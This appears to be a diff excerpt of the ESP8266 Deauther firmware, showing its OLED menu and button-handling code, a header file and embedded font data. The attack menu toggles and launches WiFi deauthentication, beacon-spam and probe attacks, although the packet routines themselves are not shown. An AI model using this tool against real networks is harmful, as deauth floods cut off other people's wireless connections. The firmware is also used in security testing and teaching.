|
||||
});
|
||||
});
|
||||
|
||||
// SSID MENU
|
||||
createMenu(&ssidMenu, &ssidListMenu, [this]() {
|
||||
addMenuNode(&ssidMenu, [this]() {
|
||||
return ssids.getName(selectedID).substring(0, ssids.getLen(selectedID));
|
||||
}, NULL); // SSID
|
||||
addMenuNode(&ssidMenu, [this]() {
|
||||
return str(D_ENCRYPTION) + ssids.getEncStr(selectedID); // WPA2
|
||||
}, [this]() {
|
||||
ssids.setWPA2(selectedID, !ssids.getWPA2(selectedID));
|
||||
});
|
||||
addMenuNode(&ssidMenu, D_REMOVE, [this]() { // REMOVE
|
||||
ssids.remove(selectedID);
|
||||
ssidListMenu.list->remove(ssidListMenu.selected);
|
||||
goBack();
|
||||
});
|
||||
});
|
||||
|
||||
// ATTACK MENU
|
||||
createMenu(&attackMenu, &mainMenu, [this]() {
|
||||
addMenuNode(&attackMenu, [this]() { // *DEAUTH 0/0
|
||||
if (attack.isRunning()) return leftRight(b2a(deauthSelected) + str(D_DEAUTH),
|
||||
(String)attack.getDeauthPkts() + SLASH +
|
||||
(String)attack.getDeauthMaxPkts(), maxLen - 1);
|
||||
else return leftRight(b2a(deauthSelected) + str(D_DEAUTH), (String)scan.countSelected(), maxLen - 1);
|
||||
}, [this]() { // deauth
|
||||
deauthSelected = !deauthSelected;
|
||||
|
||||
if (attack.isRunning()) {
|
||||
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
|
||||
settings.getAttackTimeout() * 1000);
|
||||
}
|
||||
});
|
||||
addMenuNode(&attackMenu, [this]() { // *BEACON 0/0
|
||||
if (attack.isRunning()) return leftRight(b2a(beaconSelected) + str(D_BEACON),
|
||||
(String)attack.getBeaconPkts() + SLASH +
|
||||
(String)attack.getBeaconMaxPkts(), maxLen - 1);
|
||||
else return leftRight(b2a(beaconSelected) + str(D_BEACON), (String)ssids.count(), maxLen - 1);
|
||||
}, [this]() { // beacon
|
||||
beaconSelected = !beaconSelected;
|
||||
|
||||
if (attack.isRunning()) {
|
||||
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
|
||||
settings.getAttackTimeout() * 1000);
|
||||
}
|
||||
});
|
||||
addMenuNode(&attackMenu, [this]() { // *PROBE 0/0
|
||||
if (attack.isRunning()) return leftRight(b2a(probeSelected) + str(D_PROBE),
|
||||
(String)attack.getProbePkts() + SLASH +
|
||||
(String)attack.getProbeMaxPkts(), maxLen - 1);
|
||||
else return leftRight(b2a(probeSelected) + str(D_PROBE), (String)ssids.count(), maxLen - 1);
|
||||
}, [this]() { // probe
|
||||
probeSelected = !probeSelected;
|
||||
|
||||
if (attack.isRunning()) {
|
||||
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
|
||||
settings.getAttackTimeout() * 1000);
|
||||
}
|
||||
});
|
||||
addMenuNode(&attackMenu, [this]() { // START
|
||||
return leftRight(str(attack.isRunning() ? D_STOP_ATTACK : D_START_ATTACK),
|
||||
attack.getPacketRate() > 0 ? (String)attack.getPacketRate() : String(), maxLen - 1);
|
||||
}, [this]() {
|
||||
if (attack.isRunning()) attack.stop();
|
||||
else attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
|
||||
settings.getAttackTimeout() * 1000);
|
||||
});
|
||||
});
|
||||
|
||||
// ===================== //
|
||||
|
||||
// set current menu to main menu
|
||||
changeMenu(&mainMenu);
|
||||
enabled = true;
|
||||
startTime = currentTime;
|
||||
}
|
||||
|
||||
#ifdef HIGHLIGHT_LED
|
||||
void DisplayUI::setupLED() {
|
||||
pinMode(HIGHLIGHT_LED, OUTPUT);
|
||||
digitalWrite(HIGHLIGHT_LED, HIGH);
|
||||
highlightLED = true;
|
||||
}
|
||||
|
||||
#endif // ifdef HIGHLIGHT_LED
|
||||
|
||||
void DisplayUI::update() {
|
||||
if (!enabled) return;
|
||||
|
||||
up->update();
|
||||
down->update();
|
||||
a->update();
|
||||
b->update();
|
||||
|
||||
draw();
|
||||
|
||||
uint32_t timeout = settings.getDisplayTimeout() * 1000;
|
||||
|
||||
if (currentTime > timeout) {
|
||||
if (!tempOff) {
|
||||
if (buttonTime < currentTime - timeout) off();
|
||||
} else {
|
||||
if (buttonTime > currentTime - timeout) on();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::on() {
|
||||
if (enabled) {
|
||||
configOn();
|
||||
tempOff = false;
|
||||
buttonTime = currentTime; // update a button time to keep display on
|
||||
prntln(D_MSG_DISPLAY_ON);
|
||||
} else {
|
||||
prntln(D_ERROR_NOT_ENABLED);
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::off() {
|
||||
if (enabled) {
|
||||
configOff();
|
||||
tempOff = true;
|
||||
prntln(D_MSG_DISPLAY_OFF);
|
||||
} else {
|
||||
prntln(D_ERROR_NOT_ENABLED);
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::setupButtons() {
|
||||
up = new ButtonPullup(BUTTON_UP);
|
||||
down = new ButtonPullup(BUTTON_DOWN);
|
||||
a = new ButtonPullup(BUTTON_A);
|
||||
b = new ButtonPullup(BUTTON_B);
|
||||
|
||||
// === BUTTON UP === //
|
||||
up->setOnClicked([this]() {
|
||||
scrollCounter = 0;
|
||||
scrollTime = currentTime;
|
||||
buttonTime = currentTime;
|
||||
|
||||
if (!tempOff) {
|
||||
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
|
||||
if (currentMenu->selected > 0) currentMenu->selected--;
|
||||
else currentMenu->selected = currentMenu->list->size() - 1;
|
||||
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
|
||||
scan.setChannel(wifi_channel + 1);
|
||||
} else if (mode == DISPLAY_MODE::CLOCK) { // when in packet monitor, change channel
|
||||
setTime(clockHour, clockMinute + 1, clockSecond);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
up->setOnHolding([this]() {
|
||||
scrollCounter = 0;
|
||||
scrollTime = currentTime;
|
||||
buttonTime = currentTime;
|
||||
if (!tempOff) {
|
||||
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
|
||||
if (currentMenu->selected > 0) currentMenu->selected--;
|
||||
else currentMenu->selected = currentMenu->list->size() - 1;
|
||||
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
|
||||
scan.setChannel(wifi_channel + 1);
|
||||
} else if (mode == DISPLAY_MODE::CLOCK) { // when in packet monitor, change channel
|
||||
setTime(clockHour, clockMinute + 10, clockSecond);
|
||||
}
|
||||
}
|
||||
}, buttonDelay);
|
||||
|
||||
// === BUTTON DOWN === //
|
||||
down->setOnClicked([this]() {
|
||||
scrollCounter = 0;
|
||||
scrollTime = currentTime;
|
||||
buttonTime = currentTime;
|
||||
if (!tempOff) {
|
||||
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
|
||||
if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++;
|
||||
else currentMenu->selected = 0;
|
||||
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
|
||||
scan.setChannel(wifi_channel - 1);
|
||||
} else if (mode == DISPLAY_MODE::CLOCK) { // when in packet monitor, change channel
|
||||
setTime(clockHour, clockMinute - 1, clockSecond);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
down->setOnHolding([this]() {
|
||||
scrollCounter = 0;
|
||||
scrollTime = currentTime;
|
||||
buttonTime = currentTime;
|
||||
if (!tempOff) {
|
||||
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
|
||||
if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++;
|
||||
else currentMenu->selected = 0;
|
||||
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
|
||||
scan.setChannel(wifi_channel - 1);
|
||||
}
|
||||
|
||||
else if (mode == DISPLAY_MODE::CLOCK) { // when in packet monitor, change channel
|
||||
setTime(clockHour, clockMinute - 10, clockSecond);
|
||||
}
|
||||
}
|
||||
}, buttonDelay);
|
||||
|
||||
// === BUTTON A === //
|
||||
a->setOnClicked([this]() {
|
||||
scrollCounter = 0;
|
||||
scrollTime = currentTime;
|
||||
buttonTime = currentTime;
|
||||
if (!tempOff) {
|
||||
switch (mode) {
|
||||
case DISPLAY_MODE::MENU:
|
||||
|
||||
if (currentMenu->list->get(currentMenu->selected).click) {
|
||||
currentMenu->list->get(currentMenu->selected).click();
|
||||
}
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::PACKETMONITOR:
|
||||
case DISPLAY_MODE::LOADSCAN:
|
||||
scan.stop();
|
||||
mode = DISPLAY_MODE::MENU;
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::CLOCK:
|
||||
mode = DISPLAY_MODE::MENU;
|
||||
display.setFont(DejaVu_Sans_Mono_12);
|
||||
display.setTextAlignment(TEXT_ALIGN_LEFT);
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
a->setOnHolding([this]() {
|
||||
scrollCounter = 0;
|
||||
scrollTime = currentTime;
|
||||
buttonTime = currentTime;
|
||||
if (!tempOff) {
|
||||
if (mode == DISPLAY_MODE::MENU) {
|
||||
if (currentMenu->list->get(currentMenu->selected).hold) {
|
||||
currentMenu->list->get(currentMenu->selected).hold();
|
||||
}
|
||||
}
|
||||
}
|
||||
}, 800);
|
||||
|
||||
// === BUTTON B === //
|
||||
b->setOnClicked([this]() {
|
||||
scrollCounter = 0;
|
||||
scrollTime = currentTime;
|
||||
buttonTime = currentTime;
|
||||
if (!tempOff) {
|
||||
switch (mode) {
|
||||
case DISPLAY_MODE::MENU:
|
||||
goBack();
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::PACKETMONITOR:
|
||||
case DISPLAY_MODE::LOADSCAN:
|
||||
scan.stop();
|
||||
mode = DISPLAY_MODE::MENU;
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::CLOCK:
|
||||
mode = DISPLAY_MODE::MENU;
|
||||
display.setFont(DejaVu_Sans_Mono_12);
|
||||
display.setTextAlignment(TEXT_ALIGN_LEFT);
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
String DisplayUI::getChannel() {
|
||||
String ch = String(wifi_channel);
|
||||
|
||||
if (ch.length() < 2) ch = ' ' + ch;
|
||||
return ch;
|
||||
}
|
||||
|
||||
void DisplayUI::draw() {
|
||||
if ((currentTime - drawTime > drawInterval) && currentMenu) {
|
||||
drawTime = currentTime;
|
||||
|
||||
updatePrefix();
|
||||
|
||||
if (clockTime < currentTime - 1000) {
|
||||
setTime(clockHour, clockMinute++, clockSecond + 1);
|
||||
clockTime += 1000;
|
||||
}
|
||||
|
||||
switch (mode) {
|
||||
case DISPLAY_MODE::BUTTON_TEST:
|
||||
drawButtonTest();
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::MENU:
|
||||
drawMenu();
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::LOADSCAN:
|
||||
drawLoadingScan();
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::PACKETMONITOR:
|
||||
drawPacketMonitor();
|
||||
break;
|
||||
|
||||
case DISPLAY_MODE::INTRO:
|
||||
if (currentTime - startTime >= screenIntroTime) {
|
||||
mode = DISPLAY_MODE::MENU;
|
||||
}
|
||||
drawIntro();
|
||||
break;
|
||||
case DISPLAY_MODE::CLOCK:
|
||||
drawClock();
|
||||
break;
|
||||
}
|
||||
|
||||
updateSuffix();
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::drawButtonTest() {
|
||||
drawString(0, str(D_UP) + b2s(up->read()));
|
||||
drawString(1, str(D_DOWN) + b2s(down->read()));
|
||||
drawString(2, str(D_A) + b2s(a->read()));
|
||||
drawString(3, str(D_B) + b2s(b->read()));
|
||||
}
|
||||
|
||||
void DisplayUI::drawMenu() {
|
||||
String tmp;
|
||||
int tmpLen;
|
||||
int row = (currentMenu->selected / 5) * 5;
|
||||
|
||||
// correct selected if it's off
|
||||
if (currentMenu->selected < 0) currentMenu->selected = 0;
|
||||
else if (currentMenu->selected >= currentMenu->list->size()) currentMenu->selected = currentMenu->list->size() - 1;
|
||||
|
||||
// draw menu entries
|
||||
for (int i = row; i < currentMenu->list->size() && i < row + 5; i++) {
|
||||
tmp = currentMenu->list->get(i).getStr();
|
||||
tmpLen = tmp.length();
|
||||
|
||||
// horizontal scrolling
|
||||
if ((currentMenu->selected == i) && (tmpLen >= maxLen)) {
|
||||
tmp = tmp + tmp;
|
||||
tmp = tmp.substring(scrollCounter, scrollCounter + maxLen - 1);
|
||||
|
||||
if ((scrollCounter > 0 && scrollTime < currentTime - scrollSpeed) || (scrollCounter == 0 && scrollTime < currentTime - scrollSpeed * 4)){
|
||||
scrollTime = currentTime;
|
||||
scrollCounter++;
|
||||
}
|
||||
|
||||
if (scrollCounter > tmpLen) scrollCounter = 0;
|
||||
}
|
||||
|
||||
tmp = (currentMenu->selected == i ? CURSOR : SPACE) + tmp;
|
||||
drawString(0, (i - row) * 12, tmp);
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::drawLoadingScan() {
|
||||
String percentage;
|
||||
|
||||
if (scan.isScanning()) {
|
||||
percentage = String(scan.getPercentage()) + '%';
|
||||
} else {
|
||||
percentage = str(DSP_SCAN_DONE);
|
||||
}
|
||||
|
||||
drawString(0, leftRight(str(DSP_SCAN_FOR), scan.getMode(), maxLen));
|
||||
drawString(1, leftRight(str(DSP_APS), String(accesspoints.count()), maxLen));
|
||||
drawString(2, leftRight(str(DSP_STS), String(stations.count()), maxLen));
|
||||
drawString(3, leftRight(str(DSP_PKTS), String(scan.getPacketRate()) + str(DSP_S), maxLen));
|
||||
drawString(4, center(percentage, maxLen));
|
||||
}
|
||||
|
||||
void DisplayUI::drawPacketMonitor() {
|
||||
double scale = scan.getScaleFactor(sreenHeight - lineHeight - 2);
|
||||
|
||||
String headline = leftRight(str(D_CH) + getChannel() + String(' ') + String('[') + String(scan.deauths) + String(']'), String(scan.getPacketRate()) + str(D_PKTS), maxLen);
|
||||
|
||||
drawString(0, 0, headline);
|
||||
|
||||
if (scan.getMaxPacket() > 0) {
|
||||
int i = 0;
|
||||
int x = 0;
|
||||
int y = 0;
|
||||
while(i < SCAN_PACKET_LIST_SIZE && x < screenWidth){
|
||||
y = (sreenHeight-1) - (scan.getPackets(i) * scale);
|
||||
i++;
|
||||
|
||||
//Serial.printf("%d,%d -> %d,%d\n", x, (sreenHeight-1), x, y);
|
||||
drawLine(x, (sreenHeight-1), x, y);
|
||||
x++;
|
||||
|
||||
//Serial.printf("%d,%d -> %d,%d\n", x, (sreenHeight-1), x, y);
|
||||
drawLine(x, (sreenHeight-1), x, y);
|
||||
x++;
|
||||
}
|
||||
//Serial.println("---------");
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::drawIntro() {
|
||||
drawString(0, center(str(D_INTRO_0), maxLen));
|
||||
drawString(1, center(str(D_INTRO_1), maxLen));
|
||||
drawString(2, center(str(D_INTRO_2), maxLen));
|
||||
drawString(3, center(str(D_INTRO_3), maxLen));
|
||||
drawString(4, center(settings.getVersion(), maxLen));
|
||||
}
|
||||
|
||||
void DisplayUI::drawClock() {
|
||||
String clockTime = String(clockHour);
|
||||
|
||||
clockTime += ':';
|
||||
if (clockMinute < 10) clockTime += '0';
|
||||
clockTime += String(clockMinute);
|
||||
|
||||
display.drawString(64, 20, clockTime);
|
||||
}
|
||||
|
||||
void DisplayUI::clearMenu(Menu* menu) {
|
||||
while (menu->list->size() > 0) {
|
||||
menu->list->remove(0);
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::changeMenu(Menu* menu) {
|
||||
if (menu) {
|
||||
// only open list menu if it has nodes
|
||||
if (((menu == &apListMenu) && (accesspoints.count() == 0)) ||
|
||||
((menu == &stationListMenu) && (stations.count() == 0)) ||
|
||||
((menu == &nameListMenu) && (names.count() == 0))) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (currentMenu) clearMenu(currentMenu);
|
||||
currentMenu = menu;
|
||||
currentMenu->selected = 0;
|
||||
buttonTime = currentTime;
|
||||
|
||||
if (selectedID < 0) selectedID = 0;
|
||||
|
||||
if (currentMenu->parentMenu) {
|
||||
addMenuNode(currentMenu, D_BACK, currentMenu->parentMenu); // add [BACK]
|
||||
currentMenu->selected = 1;
|
||||
}
|
||||
|
||||
if (currentMenu->build) currentMenu->build();
|
||||
}
|
||||
}
|
||||
|
||||
void DisplayUI::goBack() {
|
||||
if (currentMenu->parentMenu) changeMenu(currentMenu->parentMenu);
|
||||
}
|
||||
|
||||
void DisplayUI::createMenu(Menu* menu, Menu* parent, std::function<void()>build) {
|
||||
menu->list = new SimpleList<MenuNode>;
|
||||
menu->parentMenu = parent;
|
||||
menu->selected = 0;
|
||||
menu->build = build;
|
||||
}
|
||||
|
||||
void DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click,
|
||||
std::function<void()>hold) {
|
||||
menu->list->add(MenuNode{ getStr, click, hold });
|
||||
}
|
||||
|
||||
void DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click) {
|
||||
addMenuNode(menu, getStr, click, NULL);
|
||||
}
|
||||
|
||||
void DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, Menu* next) {
|
||||
addMenuNode(menu, getStr, [this, next]() {
|
||||
changeMenu(next);
|
||||
});
|
||||
}
|
||||
|
||||
void DisplayUI::addMenuNode(Menu* menu, const char* ptr, std::function<void()>click) {
|
||||
addMenuNode(menu, [ptr]() {
|
||||
return str(ptr);
|
||||
}, click);
|
||||
}
|
||||
|
||||
void DisplayUI::addMenuNode(Menu* menu, const char* ptr, Menu* next) {
|
||||
addMenuNode(menu, [ptr]() {
|
||||
return str(ptr);
|
||||
}, next);
|
||||
}
|
||||
|
||||
void DisplayUI::setTime(int h, int m, int s) {
|
||||
if (s >= 60) {
|
||||
s = 0;
|
||||
m++;
|
||||
}
|
||||
|
||||
if (m >= 60) {
|
||||
m = 0;
|
||||
h++;
|
||||
}
|
||||
|
||||
if (h >= 24) {
|
||||
h = 0;
|
||||
}
|
||||
|
||||
if (s < 0) {
|
||||
s = 59;
|
||||
m--;
|
||||
}
|
||||
|
||||
if (m < 0) {
|
||||
m = 59;
|
||||
h--;
|
||||
}
|
||||
|
||||
if (h < 0) {
|
||||
h = 23;
|
||||
}
|
||||
|
||||
clockHour = h;
|
||||
clockMinute = m;
|
||||
clockSecond = s;
|
||||
}
|
||||
644
enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.h
Executable file
644
enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.h
Executable file
@@ -0,0 +1,644 @@
|
||||
#ifndef DisplayUI_h
|
||||
#define DisplayUI_h
|
||||
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "Settings.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
|
||||
#include <SimpleButton.h>
|
||||
|
||||
using namespace simplebutton;
|
||||
|
||||
extern Settings settings;
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
extern Attack attack;
|
||||
extern uint32_t currentTime;
|
||||
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String center(String a, int len);
|
||||
extern String left(String a, int len);
|
||||
extern String right(String a, int len);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String replaceUtf8(String str, String r);
|
||||
|
||||
const char D_INTRO_0[] PROGMEM = "";
|
||||
const char D_INTRO_1[] PROGMEM = "ESP8266 Deauther";
|
||||
const char D_INTRO_2[] PROGMEM = "by @Spacehuhn";
|
||||
const char D_INTRO_3[] PROGMEM = "";
|
||||
|
||||
// fallback for the buttons
|
||||
#ifndef BUTTON_UP
|
||||
#define BUTTON_UP 255
|
||||
#endif // ifndef BUTTON_UP
|
||||
|
||||
#ifndef BUTTON_DOWN
|
||||
#define BUTTON_DOWN 255
|
||||
#endif // ifndef BUTTON_DOWN
|
||||
|
||||
#ifndef BUTTON_A
|
||||
#define BUTTON_A 255
|
||||
#endif // ifndef BUTTON_A
|
||||
|
||||
#ifndef BUTTON_B
|
||||
#define BUTTON_B 255
|
||||
#endif // ifndef BUTTON_B
|
||||
|
||||
struct MenuNode {
|
||||
std::function<String()>getStr; // function used to create the displayed string
|
||||
std::function<void()> click; // function that is executed when node is clicked
|
||||
std::function<void()> hold; // function that is executed when node is pressed for > 800ms
|
||||
};
|
||||
|
||||
struct Menu {
|
||||
SimpleList<MenuNode>* list;
|
||||
Menu * parentMenu;
|
||||
uint8_t selected;
|
||||
std::function<void()> build; // function that is executed when button is clicked
|
||||
};
|
||||
|
||||
class DisplayUI {
|
||||
public:
|
||||
enum DISPLAY_MODE { OFF = 0, BUTTON_TEST = 1, MENU = 2, LOADSCAN = 3, PACKETMONITOR = 4, INTRO = 5, CLOCK = 6 };
|
||||
|
||||
uint8_t mode = DISPLAY_MODE::MENU;
|
||||
bool highlightLED = false;
|
||||
|
||||
Button* up = NULL;
|
||||
Button* down = NULL;
|
||||
Button* a = NULL;
|
||||
Button* b = NULL;
|
||||
|
||||
// ===== adjustable ===== //
|
||||
DEAUTHER_DISPLAY // see config.h
|
||||
|
||||
const uint8_t maxLen = 18;
|
||||
const uint8_t lineHeight = 12;
|
||||
const uint8_t buttonDelay = 250;
|
||||
const uint8_t drawInterval = 100; // 100ms = 10 FPS
|
||||
const uint16_t scrollSpeed = 500; // time interval in ms
|
||||
const uint16_t screenIntroTime = 2500;
|
||||
const uint16_t screenWidth = 128;
|
||||
const uint16_t sreenHeight = 64;
|
||||
|
||||
void configInit();
|
||||
void configOn();
|
||||
void configOff();
|
||||
void updatePrefix();
|
||||
void updateSuffix();
|
||||
void drawString(int x, int y, String str);
|
||||
void drawString(int row, String str);
|
||||
void drawLine(int x1, int y1, int x2, int y2);
|
||||
// ====================== //
|
||||
|
||||
DisplayUI();
|
||||
~DisplayUI();
|
||||
|
||||
void setup();
|
||||
#ifdef HIGHLIGHT_LED
|
||||
void setupLED();
|
||||
#endif // ifdef HIGHLIGHT_LED
|
||||
|
||||
void update();
|
||||
void on();
|
||||
void off();
|
||||
|
||||
private:
|
||||
int16_t selectedID = 0; // i.e. access point ID to draw the apMenu
|
||||
uint8_t scrollCounter = 0; // for horizontal scrolling
|
||||
|
||||
uint32_t scrollTime = 0; // last time a character was moved
|
||||
uint32_t drawTime = 0; // last time a frame was drawn
|
||||
uint32_t startTime = 0; // when the screen was enabled
|
||||
uint32_t buttonTime = 0; // last time a button was pressed
|
||||
|
||||
bool enabled = false; // display enabled
|
||||
bool tempOff = false;
|
||||
|
||||
// selected attack modes
|
||||
bool beaconSelected = false;
|
||||
bool deauthSelected = false;
|
||||
bool probeSelected = false;
|
||||
|
||||
// menus
|
||||
Menu* currentMenu;
|
||||
|
||||
Menu mainMenu;
|
||||
|
||||
Menu scanMenu;
|
||||
Menu showMenu;
|
||||
Menu attackMenu;
|
||||
|
||||
Menu apListMenu;
|
||||
Menu stationListMenu;
|
||||
Menu nameListMenu;
|
||||
Menu ssidListMenu;
|
||||
|
||||
Menu apMenu;
|
||||
Menu stationMenu;
|
||||
Menu nameMenu;
|
||||
Menu ssidMenu;
|
||||
|
||||
void setupButtons();
|
||||
|
||||
String getChannel();
|
||||
|
||||
// draw functions
|
||||
void draw();
|
||||
void drawButtonTest();
|
||||
void drawMenu();
|
||||
void drawLoadingScan();
|
||||
void drawPacketMonitor();
|
||||
void drawIntro();
|
||||
void clearMenu(Menu* menu);
|
||||
|
||||
// menu functions
|
||||
void changeMenu(Menu* menu);
|
||||
void goBack();
|
||||
void createMenu(Menu* menu, Menu* parent, std::function<void()>build);
|
||||
|
||||
void addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click, std::function<void()>hold);
|
||||
void addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click);
|
||||
void addMenuNode(Menu* menu, std::function<String()>getStr, Menu* next);
|
||||
void addMenuNode(Menu* menu, const char* ptr, std::function<void()>click);
|
||||
void addMenuNode(Menu* menu, const char* ptr, Menu* next);
|
||||
|
||||
// fake clock
|
||||
void drawClock();
|
||||
void setTime(int h, int m, int s);
|
||||
|
||||
int clockHour = 6;
|
||||
int clockMinute = 0;
|
||||
int clockSecond = 0;
|
||||
|
||||
uint32_t clockTime = 0;
|
||||
};
|
||||
|
||||
// ===== FONT ===== //
|
||||
// Created by http://oleddisplay.squix.ch/ Consider a donation
|
||||
// In case of problems make sure that you are using the font file with the correct version!
|
||||
const uint8_t DejaVu_Sans_Mono_12[] PROGMEM = {
|
||||
0x07, // Width: 7
|
||||
0x0F, // Height: 15
|
||||
0x20, // First Char: 32
|
||||
0xE0, // Numbers of Chars: 224
|
||||
|
||||
// Jump Table:
|
||||
0xFF, 0xFF, 0x00, 0x07, // 32:65535
|
||||
0x00, 0x00, 0x08, 0x07, // 33:0
|
||||
0x00, 0x08, 0x09, 0x07, // 34:8
|
||||
0x00, 0x11, 0x0D, 0x07, // 35:17
|
||||
0x00, 0x1E, 0x0C, 0x07, // 36:30
|
||||
0x00, 0x2A, 0x0E, 0x07, // 37:42
|
||||
0x00, 0x38, 0x0E, 0x07, // 38:56
|
||||
0x00, 0x46, 0x07, 0x07, // 39:70
|
||||
0x00, 0x4D, 0x0C, 0x07, // 40:77
|
||||
0x00, 0x59, 0x0A, 0x07, // 41:89
|
||||
0x00, 0x63, 0x0B, 0x07, // 42:99
|
||||
0x00, 0x6E, 0x0E, 0x07, // 43:110
|
||||
0x00, 0x7C, 0x08, 0x07, // 44:124
|
||||
0x00, 0x84, 0x0A, 0x07, // 45:132
|
||||
0x00, 0x8E, 0x08, 0x07, // 46:142
|
||||
0x00, 0x96, 0x0D, 0x07, // 47:150
|
||||
0x00, 0xA3, 0x0E, 0x07, // 48:163
|
||||
0x00, 0xB1, 0x0C, 0x07, // 49:177
|
||||
0x00, 0xBD, 0x0E, 0x07, // 50:189
|
||||
0x00, 0xCB, 0x0E, 0x07, // 51:203
|
||||
0x00, 0xD9, 0x0E, 0x07, // 52:217
|
||||
0x00, 0xE7, 0x0E, 0x07, // 53:231
|
||||
0x00, 0xF5, 0x0E, 0x07, // 54:245
|
||||
0x01, 0x03, 0x0D, 0x07, // 55:259
|
||||
0x01, 0x10, 0x0E, 0x07, // 56:272
|
||||
0x01, 0x1E, 0x0E, 0x07, // 57:286
|
||||
0x01, 0x2C, 0x08, 0x07, // 58:300
|
||||
0x01, 0x34, 0x08, 0x07, // 59:308
|
||||
0x01, 0x3C, 0x0E, 0x07, // 60:316
|
||||
0x01, 0x4A, 0x0E, 0x07, // 61:330
|
||||
0x01, 0x58, 0x0E, 0x07, // 62:344
|
||||
0x01, 0x66, 0x0D, 0x07, // 63:358
|
||||
0x01, 0x73, 0x0E, 0x07, // 64:371
|
||||
0x01, 0x81, 0x0E, 0x07, // 65:385
|
||||
0x01, 0x8F, 0x0E, 0x07, // 66:399
|
||||
0x01, 0x9D, 0x0E, 0x07, // 67:413
|
||||
0x01, 0xAB, 0x0E, 0x07, // 68:427
|
||||
0x01, 0xB9, 0x0E, 0x07, // 69:441
|
||||
0x01, 0xC7, 0x0D, 0x07, // 70:455
|
||||
0x01, 0xD4, 0x0E, 0x07, // 71:468
|
||||
0x01, 0xE2, 0x0E, 0x07, // 72:482
|
||||
0x01, 0xF0, 0x0C, 0x07, // 73:496
|
||||
0x01, 0xFC, 0x0C, 0x07, // 74:508
|
||||
0x02, 0x08, 0x0E, 0x07, // 75:520
|
||||
0x02, 0x16, 0x0E, 0x07, // 76:534
|
||||
0x02, 0x24, 0x0E, 0x07, // 77:548
|
||||
0x02, 0x32, 0x0E, 0x07, // 78:562
|
||||
0x02, 0x40, 0x0E, 0x07, // 79:576
|
||||
0x02, 0x4E, 0x0D, 0x07, // 80:590
|
||||
0x02, 0x5B, 0x0E, 0x07, // 81:603
|
||||
0x02, 0x69, 0x0E, 0x07, // 82:617
|
||||
0x02, 0x77, 0x0E, 0x07, // 83:631
|
||||
0x02, 0x85, 0x0D, 0x07, // 84:645
|
||||
0x02, 0x92, 0x0E, 0x07, // 85:658
|
||||
0x02, 0xA0, 0x0D, 0x07, // 86:672
|
||||
0x02, 0xAD, 0x0E, 0x07, // 87:685
|
||||
0x02, 0xBB, 0x0E, 0x07, // 88:699
|
||||
0x02, 0xC9, 0x0D, 0x07, // 89:713
|
||||
0x02, 0xD6, 0x0E, 0x07, // 90:726
|
||||
0x02, 0xE4, 0x0A, 0x07, // 91:740
|
||||
0x02, 0xEE, 0x0E, 0x07, // 92:750
|
||||
0x02, 0xFC, 0x08, 0x07, // 93:764
|
||||
0x03, 0x04, 0x0B, 0x07, // 94:772
|
||||
0x03, 0x0F, 0x0E, 0x07, // 95:783
|
||||
0x03, 0x1D, 0x09, 0x07, // 96:797
|
||||
0x03, 0x26, 0x0C, 0x07, // 97:806
|
||||
0x03, 0x32, 0x0C, 0x07, // 98:818
|
||||
0x03, 0x3E, 0x0C, 0x07, // 99:830
|
||||
0x03, 0x4A, 0x0C, 0x07, // 100:842
|
||||
0x03, 0x56, 0x0C, 0x07, // 101:854
|
||||
0x03, 0x62, 0x0B, 0x07, // 102:866
|
||||
0x03, 0x6D, 0x0C, 0x07, // 103:877
|
||||
0x03, 0x79, 0x0C, 0x07, // 104:889
|
||||
0x03, 0x85, 0x0C, 0x07, // 105:901
|
||||
0x03, 0x91, 0x0A, 0x07, // 106:913
|
||||
0x03, 0x9B, 0x0C, 0x07, // 107:923
|
||||
